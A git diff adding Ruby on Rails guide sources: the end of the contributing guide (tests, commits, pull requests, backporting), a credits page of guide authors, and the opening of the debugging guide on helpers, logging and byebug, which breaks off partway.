+* **Korean** : [https://github.com/rorlakr/rails-guides](https://github.com/rorlakr/rails-guides)
+* **Simplified Chinese** : [https://github.com/ruby-china/guides](https://github.com/ruby-china/guides)
+* **Traditional Chinese** : [https://github.com/docrails-tw/guides](https://github.com/docrails-tw/guides)
+* **Russian** : [https://github.com/morsbox/rusrails](https://github.com/morsbox/rusrails)
+* **Japanese** : [https://github.com/yasslab/railsguides.jp](https://github.com/yasslab/railsguides.jp)
+
+Contributing to the Rails Code
+------------------------------
+
+### Setting Up a Development Environment
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide, you'll learn how to setup the tests on your own computer.
+
+#### The Easy Way
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+#### The Hard Way
+
+In case you can't use the Rails development box, see [this other guide](development_dependencies_install.html).
+
+### Clone the Rails Repository
+
+To be able to contribute code, you need to clone the Rails repository:
+
+```bash
+$ git clone https://github.com/rails/rails.git
+```
+
+and create a dedicated branch:
+
+```bash
+$ cd rails
+$ git checkout -b my_new_branch
+```
+
+It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
+
+### Bundle install
+
+Install the required gems.
+
+```bash
+$ bundle install
+```
+
+### Running an Application Against Your Local Branch
+
+In case you need a dummy Rails app to test changes, the `--dev` flag of `rails new` generates an application that uses your local branch:
+
+```bash
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+```
+
+The application generated in `~/my-test-app` runs against your local branch
+and in particular sees any modifications upon server reboot.
+
+### Write Your Code
+
+Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:
+
+* Get the code right.
+* Use Rails idioms and helpers.
+* Include tests that fail without your code, and pass with it.
+* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
+
+
+TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)).
+
+#### Follow the Coding Conventions
+
+Rails follows a simple set of coding style conventions:
+
+* Two spaces, no tabs (for indentation).
+* No trailing whitespace. Blank lines should not have any spaces.
+* Indent after private/protected.
+* Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`.
+* Prefer `&&`/`||` over `and`/`or`.
+* Prefer class << self over self.method for class methods.
+* Use `my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
+* Use `a = b` and not `a=b`.
+* Use assert_not methods instead of refute.
+* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
+* Follow the conventions in the source you see used already.
+
+The above are guidelines - please use your best judgment in using them.
+
+### Benchmark Your Code
+
+For changes that might have an impact on performance, please benchmark your
+code and measure the impact. Please share the benchmark script you used as well
+as the results. You should consider including this information in your commit
+message, which allows future contributors to easily verify your findings and
+determine if they are still relevant. (For example, future optimizations in the
+Ruby VM might render certain optimizations unnecessary.)
+
+It is very easy to make an optimization that improves performance for a
+specific scenario you care about but regresses on other common cases.
+Therefore, you should test your change against a list of representative
+scenarios. Ideally, they should be based on real-world scenarios extracted
+from production applications.
+
+You can use the [benchmark template](https://github.com/rails/rails/blob/master/guides/bug_report_templates/benchmark.rb)
+as a starting point. It includes the boilerplate code to setup a benchmark
+using the [benchmark-ips](https://github.com/evanphx/benchmark-ips) gem. The
+template is designed for testing relatively self-contained changes that can be
+inlined into the script.
+
+### Running Tests
+
+It is not customary in Rails to run the full test suite before pushing
+changes. The railties test suite in particular takes a long time, and takes an
+especially long time if the source code is mounted in `/vagrant` as happens in
+the recommended workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
+
+As a compromise, test what your code obviously affects, and if the change is
+not in railties, run the whole test suite of the affected component. If all
+tests are passing, that's enough to propose your contribution. We have
+[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching
+unexpected breakages elsewhere.
+
+#### Entire Rails:
+
+To run all the tests, do:
+
+```bash
+$ cd rails
+$ bundle exec rake test
+```
+
+#### For a Particular Component
+
+You can run tests only for a particular component (e.g. Action Pack). For example,
+to run Action Mailer tests:
+
+```bash
+$ cd actionmailer
+$ bundle exec rake test
+```
+
+#### Running a Single Test
+
+You can run a single test through ruby. For instance:
+
+```bash
+$ cd actionmailer
+$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout
+```
+
+The `-n` option allows you to run a single method instead of the whole
+file.
+
+#### Testing Active Record
+
+First, create the databases you'll need. You can find a list of the required 
+table names, usernames, and passwords in `activerecord/test/config.example.yml`.
+
+For MySQL and PostgreSQL, running the SQL statements `create database
+activerecord_unittest` and `create database activerecord_unittest2` is
+sufficient. This is not necessary for SQLite3.
+
+This is how you run the Active Record test suite only for SQLite3:
+
+```bash
+$ cd activerecord
+$ bundle exec rake test:sqlite3
+```
+
+You can now run the tests as you did for `sqlite3`. The tasks are respectively:
+
+```bash
+test:mysql2
+test:postgresql
+```
+
+Finally,
+
+```bash
+$ bundle exec rake test
+```
+
+will now run the three of them in turn.
+
+You can also run any single test separately:
+
+```bash
+$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb
+```
+
+To run a single test against all adapters, use:
+
+```bash
+$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb
+```
+
+You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
+
+### Warnings
+
+The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
+
+If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
+
+```bash
+$ RUBYOPT=-W0 bundle exec rake test
+```
+
+### Updating the CHANGELOG
+
+The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
+
+You should add an entry **to the top** of the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
+
+A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:
+
+```
+*   Summary of a change that briefly describes what was changed. You can use multiple
+    lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
+
+        class Foo
+          def bar
+            puts 'baz'
+          end
+        end
+
+    You can continue after the code example and you can attach issue number. GH#1234
+
+    *Your Name*
+```
+
+Your name can be added directly after the last word if there are no code
+examples or multiple paragraphs. Otherwise, it's best to make a new paragraph.
+
+### Updating the Gemfile.lock
+
+Some changes require the dependencies to be upgraded. In these cases make sure you run `bundle update` to get the right version of the dependency and commit the `Gemfile.lock` file within your changes.
+
+### Commit Your Changes
+
+When you're happy with the code on your computer, you need to commit the changes to Git:
+
+```bash
+$ git commit -a
+```
+
+This should fire up your editor to write a commit message. When you have
+finished, save and close to continue.
+
+A well-formatted and descriptive commit message is very helpful to others for
+understanding why the change was made, so please take the time to write it.
+
+A good commit message looks like this:
+
+```
+Short summary (ideally 50 characters or less)
+
+More detailed description, if necessary. It should be wrapped to
+72 characters. Try to be as descriptive as you can. Even if you
+think that the commit content is obvious, it may not be obvious
+to others. Add any description that is already present in the
+relevant issues; it should not be necessary to visit a webpage
+to check the history.
+
+The description section can have multiple paragraphs.
+
+Code examples can be embedded by indenting them with 4 spaces:
+
+    class ArticlesController
+      def index
+        render json: Article.limit(10)
+      end
+    end
+
+You can also add bullet points:
+
+- make a bullet point by starting a line with either a dash (-)
+  or an asterisk (*)
+
+- wrap lines at 72 characters, and indent any additional lines
+  with 2 spaces for readability
+```
+
+TIP. Please squash your commits into a single commit when appropriate. This
+simplifies future cherry picks and keeps the git log clean.
+
+### Update Your Branch
+
+It's pretty likely that other changes to master have happened while you were working. Go get them:
+
+```bash
+$ git checkout master
+$ git pull --rebase
+```
+
+Now reapply your patch on top of the latest changes:
+
+```bash
+$ git checkout my_new_branch
+$ git rebase master
+```
+
+No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
+
+### Fork
+
+Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner.
+
+Add the new remote to your local repository on your local machine:
+
+```bash
+$ git remote add mine https://github.com:<your user name>/rails.git
+```
+
+Push to your remote:
+
+```bash
+$ git push mine my_new_branch
+```
+
+You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.
+
+In the directory you cloned your fork:
+
+```bash
+$ git remote add rails https://github.com/rails/rails.git
+```
+
+Download new commits and branches from the official repository:
+
+```bash
+$ git fetch rails
+```
+
+Merge the new content:
+
+```bash
+$ git checkout master
+$ git rebase rails/master
+```
+
+Update your fork:
+
+```bash
+$ git push origin master
+```
+
+If you want to update another branch:
+
+```bash
+$ git checkout branch_name
+$ git rebase rails/branch_name
+$ git push origin branch_name
+```
+
+
+### Issue a Pull Request
+
+Navigate to the Rails repository you just pushed to (e.g.
+https://github.com/your-user-name/rails) and click on "Pull Requests" seen in
+the right panel. On the next page, press "New pull request" in the upper right
+hand corner.
+
+Click on "Edit", if you need to change the branches being compared (it compares
+"master" by default) and press "Click to create a pull request for this
+comparison".
+
+Ensure the changesets you introduced are included. Fill in some details about
+your potential patch including a meaningful title. When finished, press "Send
+pull request". The Rails core team will be notified about your submission.
+
+### Get some Feedback
+
+Most pull requests will go through a few iterations before they get merged.
+Different contributors will sometimes have different opinions, and often
+patches will need to be revised before they can get merged.
+
+Some contributors to Rails have email notifications from GitHub turned on, but
+others do not. Furthermore, (almost) everyone who works on Rails is a
+volunteer, and so it may take a few days for you to get your first feedback on
+a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such
+is the open source life.
+
+If it's been over a week, and you haven't heard anything, you might want to try
+and nudge things along. You can use the [rubyonrails-core mailing
+list](http://groups.google.com/group/rubyonrails-core/) for this. You can also
+leave another comment on the pull request.
+
+While you're waiting for feedback on your pull request, open up a few other
+pull requests and give someone else some! I'm sure they'll appreciate it in
+the same way that you appreciate feedback on your patches.
+
+### Iterate as Necessary
+
+It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.
+
+#### Squashing commits
+
+One of the things that we may ask you to do is to "squash your commits", which
+will combine all of your commits into a single commit. We prefer pull requests
+that are a single commit. This makes it easier to backport changes to stable
+branches, squashing makes it easier to revert bad commits, and the git history
+can be a bit easier to follow. Rails is a large project, and a bunch of
+extraneous commits can add a lot of noise.
+
+In order to do this, you'll need to have a git remote that points at the main
+Rails repository. This is useful anyway, but just in case you don't have it set
+up, make sure that you do this first:
+
+```bash
+$ git remote add upstream https://github.com/rails/rails.git
+```
+
+You can call this remote whatever you'd like, but if you don't use `upstream`,
+then change the name to your own in the instructions below.
+
+Given that your remote branch is called `my_pull_request`, then you can do the
+following:
+
+```bash
+$ git fetch upstream
+$ git checkout my_pull_request
+$ git rebase -i upstream/master
+
+< Choose 'squash' for all of your commits except the first one. >
+< Edit the commit message to make sense, and describe all your changes. >
+
+$ git push origin my_pull_request -f
+```
+
+You should be able to refresh the pull request on GitHub and see that it has
+been updated.
+
+#### Updating pull request
+
+Sometimes you will be asked to make some changes to the code you have
+already committed. This can include amending existing commits. In this
+case Git will not allow you to push the changes as the pushed branch
+and local branch do not match. Instead of opening a new pull request,
+you can force push to your branch on GitHub as described earlier in
+squashing commits section:
+
+```bash
+$ git push origin my_pull_request -f
+```
+
+This will update the branch and pull request on GitHub with your new code. Do
+note that using force push may result in commits being lost on the remote branch; use it with care.
+
+
+### Older Versions of Ruby on Rails
+
+If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch:
+
+```bash
+$ git branch --track 4-0-stable origin/4-0-stable
+$ git checkout 4-0-stable
+```
+
+TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
+
+#### Backporting
+
+Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
+
+For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git).
+
+First, make sure your changes are the only difference between your current branch and master:
+
+```bash
+$ git log master..HEAD
+```
+
+Then extract the diff:
+
+```bash
+$ git format-patch master --stdout > ~/my_changes.patch
+```
+
+Switch over to the target branch and apply your changes:
+
+```bash
+$ git checkout -b my_backport_branch 4-2-stable
+$ git apply ~/my_changes.patch
+```
+
+This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.
+
+Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in `.travis.yml` before submitting your pull request.
+
+And then... think about your next contribution!
+
+Rails Contributors
+------------------
+
+All contributions get credit in [Rails Contributors](http://contributors.rubyonrails.org).
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
new file mode 100644
index 0000000000..5adbd12ac0
--- /dev/null
+++ b/guides/source/credits.html.erb
@@ -0,0 +1,80 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides: Credits
+<% end %>
+
+<% content_for :header_section do %>
+<h2>Credits</h2>
+
+<p>We'd like to thank the following people for their tireless contributions to this project.</p>
+
+<% end %>
+
+<h3 class="section">Rails Guides Reviewers</h3>
+
+<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %>
+  Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>.
+<% end %>
+
+<%= author('Xavier Noria', 'fxn', 'fxn.png') do %>
+  Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as &quot;fxn&quot;.
+<% end %>
+
+<h3 class="section">Rails Guides Designers</h3>
+
+<%= author('Jason Zimdars', 'jz') do %>
+  Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="https://twitter.com/jasonzimdars">Twitter</a>.
+<% end %>
+
+<h3 class="section">Rails Guides Authors</h3>
+
+<%= author('Ryan Bigg', 'radar', 'radar.png') do %>
+  Ryan Bigg works as a Rails developer at <a href="http://marketplacer.com">Marketplacer</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>.
+<% end %>
+
+<%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %>
+Oscar Del Ben is a software engineer at <a href="http://www.businessinsider.com/google-buys-wildfire-2012-8">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">GitHub account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>.
+  <% end %>
+
+<%= author('Frederick Cheung', 'fcheung') do %>
+  Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.
+<% end %>
+
+<%= author('Tore Darell', 'toretore') do %>
+  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on <a href="http://twitter.com/toretore">Twitter</a>.
+<% end %>
+
+<%= author('Jeff Dean', 'zilkey') do %>
+  Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>.
+<% end %>
+
+<%= author('Mike Gunderloy', 'mgunderloy') do %>
+  Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much.
+<% end %>
+
+<%= author('Mikel Lindsaar', 'raasdnil') do %>
+  Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>.
+<% end %>
+
+<%= author('Cássio Marques', 'cmarques') do %>
+  Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">/* CODIFICANDO */</a>, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
+<% end %>
+
+<%= author('James Miller', 'bensie') do %>
+  James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as &quot;bensie&quot;.
+<% end %>
+
+<%= author('Pratik Naik', 'lifo') do %>
+  Pratik Naik is a Ruby on Rails developer at <a href="https://basecamp.com/">Basecamp</a> and maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a>. He also has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
+<% end %>
+
+<%= author('Emilio Tagua', 'miloops') do %>
+  Emilio Tagua &mdash;a.k.a. miloops&mdash; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as &quot;miloops&quot;.
+<% end %>
+
+<%= author('Heiko Webers', 'hawe') do %>
+  Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
+<% end %>
+
+<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %>
+  Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
+<% end %>
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
new file mode 100644
index 0000000000..58aab774b3
--- /dev/null
+++ b/guides/source/debugging_rails_applications.md
@@ -0,0 +1,954 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Debugging Rails Applications
+============================
+
+This guide introduces techniques for debugging Ruby on Rails applications.
+
+After reading this guide, you will know:
+
+* The purpose of debugging.
+* How to track down problems and issues in your application that your tests aren't identifying.
+* The different ways of debugging.
+* How to analyze the stack trace.
+
+--------------------------------------------------------------------------------
+
+View Helpers for Debugging
+--------------------------
+
+One common task is to inspect the contents of a variable. Rails provides three different ways to do this:
+
+* `debug`
+* `to_yaml`
+* `inspect`
+
+### `debug`
+
+The `debug` helper will return a \<pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+
+```html+erb
+<%= debug @article %>
+<p>
+  <b>Title:</b>
+  <%= @article.title %>
+</p>
+```
+
+You'll see something like this:
+
+```yaml
+--- !ruby/object Article
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: "1"
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+```
+
+### `to_yaml`
+
+Alternatively, calling `to_yaml` on any object converts it to YAML. You can pass this converted object into the `simple_format` helper method to format the output. This is how `debug` does its magic.
+
+```html+erb
+<%= simple_format @article.to_yaml %>
+<p>
+  <b>Title:</b>
+  <%= @article.title %>
+</p>
+```
+
+The above code will render something like this:
+
+```yaml
+--- !ruby/object Article
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+```
+
+### `inspect`
+
+Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
+
+```html+erb
+<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+  <b>Title:</b>
+  <%= @article.title %>
+</p>
+```
+
+Will render:
+
+```
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+```
+
+The Logger
+----------
+
+It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
+
+### What is the Logger?
+
+Rails makes use of the `ActiveSupport::Logger` class to write log information. Other loggers, such as `Log4r`, may also be substituted.
+
+You can specify an alternative logger in `config/application.rb` or any other environment file, for example:
+
+```ruby
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+```
+
+Or in the `Initializer` section, add _any_ of the following
+
+```ruby
+Rails.logger = Logger.new(STDOUT)
+Rails.logger = Log4r::Logger.new("Application Log")
+```
+
+TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running.
+
+### Log Levels
+
+When something is logged, it's printed into the corresponding log if the log
+level of the message is equal to or higher than the configured log level. If you
+want to know the current log level, you can call the `Rails.logger.level`
+method.
+
+The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`,
+and `:unknown`, corresponding to the log level numbers from 0 up to 5,
+respectively. To change the default log level, use
+
+```ruby
+config.log_level = :warn # In any environment initializer, or
+Rails.logger.level = 0 # at any time
+```
+
+This is useful when you want to log under development or staging without flooding your production log with unnecessary information.
+
+TIP: The default Rails log level is `debug` in all environments.
+
+### Sending Messages
+
+To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+
+```ruby
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+```
+
+Here's an example of a method instrumented with extra logging:
+
+```ruby
+class ArticlesController < ApplicationController
+  # ...
+
+  def create
+    @article = Article.new(params[:article])
+    logger.debug "New article: #{@article.attributes.inspect}"
+    logger.debug "Article should be valid: #{@article.valid?}"
+
+    if @article.save
+      flash[:notice] =  'Article was successfully created.'
+      logger.debug "The article was saved and now the user is going to be redirected..."
+      redirect_to(@article)
+    else
+      render action: "new"
+    end
+  end
+
+  # ...
+end
+```
+
+Here's an example of the log generated when this controller action is executed:
+
+```
+Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+  Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"}
+New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Article should be valid: true
+  Article Create (0.000443)   INSERT INTO "articles" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The article was saved and now the user is going to be redirected...
+Redirected to # Article:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles]
+```
+
+Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.
+
+### Tagged Logging
+
+When running multi-user, multi-account applications, it's often useful
+to be able to filter the logs using some custom rules. `TaggedLogging`
+in Active Support helps you do exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+```ruby
+logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
+logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
+logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+```
+
+### Impact of Logs on Performance
+Logging will always have a small impact on the performance of your Rails app,
+        particularly when logging to disk. Additionally, there are a few subtleties:
+
+Using the `:debug` level will have a greater performance penalty than `:fatal`,
+      as a far greater number of strings are being evaluated and written to the
+      log output (e.g. disk).
+
+Another potential pitfall is too many calls to `Logger` in your code:
+
+```ruby
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+```
+
+In the above example, there will be a performance impact even if the allowed
+output level doesn't include debug. The reason is that Ruby has to evaluate
+these strings, which includes instantiating the somewhat heavy `String` object
+and interpolating the variables.
+Therefore, it's recommended to pass blocks to the logger methods, as these are
+only evaluated if the output level is the same as — or included in — the allowed level
+(i.e. lazy loading). The same code rewritten would be:
+
+```ruby
+logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}
+```
+
+The contents of the block, and therefore the string interpolation, are only
+evaluated if debug is enabled. This performance savings are only really
+noticeable with large amounts of logging, but it's a good practice to employ.
+
+Debugging with the `byebug` gem
+---------------------------------
+
+When your code is behaving in unexpected ways, you can try printing to logs or
+the console to diagnose the problem. Unfortunately, there are times when this
+sort of error tracking is not effective in finding the root cause of a problem.
+When you actually need to journey into your running source code, the debugger
+is your best companion.
+
+The debugger can also help you if you want to learn about the Rails source code
+but don't know where to start. Just debug any request to your application and
+use this guide to learn how to move from the code you have written into the
+underlying Rails code.
+
+### Setup
+
+You can use the `byebug` gem to set breakpoints and step through live code in
+Rails. To install it, just run:
+
+```bash
+$ gem install byebug
+```
+
+Inside any Rails application you can then invoke the debugger by calling the
+`byebug` method.
+
+Here's an example:
+
+```ruby
+class PeopleController < ApplicationController
+  def new
+    byebug
+    @person = Person.new
+  end
+end
+```
+
+### The Shell
+
+As soon as your application calls the `byebug` method, the debugger will be
+started in a debugger shell inside the terminal window where you launched your
+application server, and you will be placed at the debugger's prompt `(byebug)`.
+Before the prompt, the code around the line that is about to be run will be
+displayed and the current line will be marked by '=>', like this:
+
+```
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+
+(byebug)
+```
+
+If you got there by a browser request, the browser tab containing the request
+will be hung until the debugger has finished and the trace has finished
+processing the entire request.
+
+For example:
+
+```bash
+=> Booting Puma
+=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000
+=> Run `rails server -h` for more startup options
+Puma starting in single mode...
+* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl
+* Min threads: 5, max threads: 5
+* Environment: development
+* Listening on tcp://localhost:3000
+Use Ctrl-C to stop
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
+  ActiveRecord::SchemaMigration Load (0.2ms)  SELECT "schema_migrations".* FROM "schema_migrations"
+Processing by ArticlesController#index as HTML
+
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+(byebug)
+```
+
+Now it's time to explore your application. A good place to start is
+by asking the debugger for help. Type: `help`
+
+```
+(byebug) help
+
+  break      -- Sets breakpoints in the source code
+  catch      -- Handles exception catchpoints
+  condition  -- Sets conditions on breakpoints
+  continue   -- Runs until program ends, hits a breakpoint or reaches a line
+  debug      -- Spawns a subdebugger
+  delete     -- Deletes breakpoints
+  disable    -- Disables breakpoints or displays
+  display    -- Evaluates expressions every time the debugger stops
+  down       -- Moves to a lower frame in the stack trace
+  edit       -- Edits source files
+  enable     -- Enables breakpoints or displays
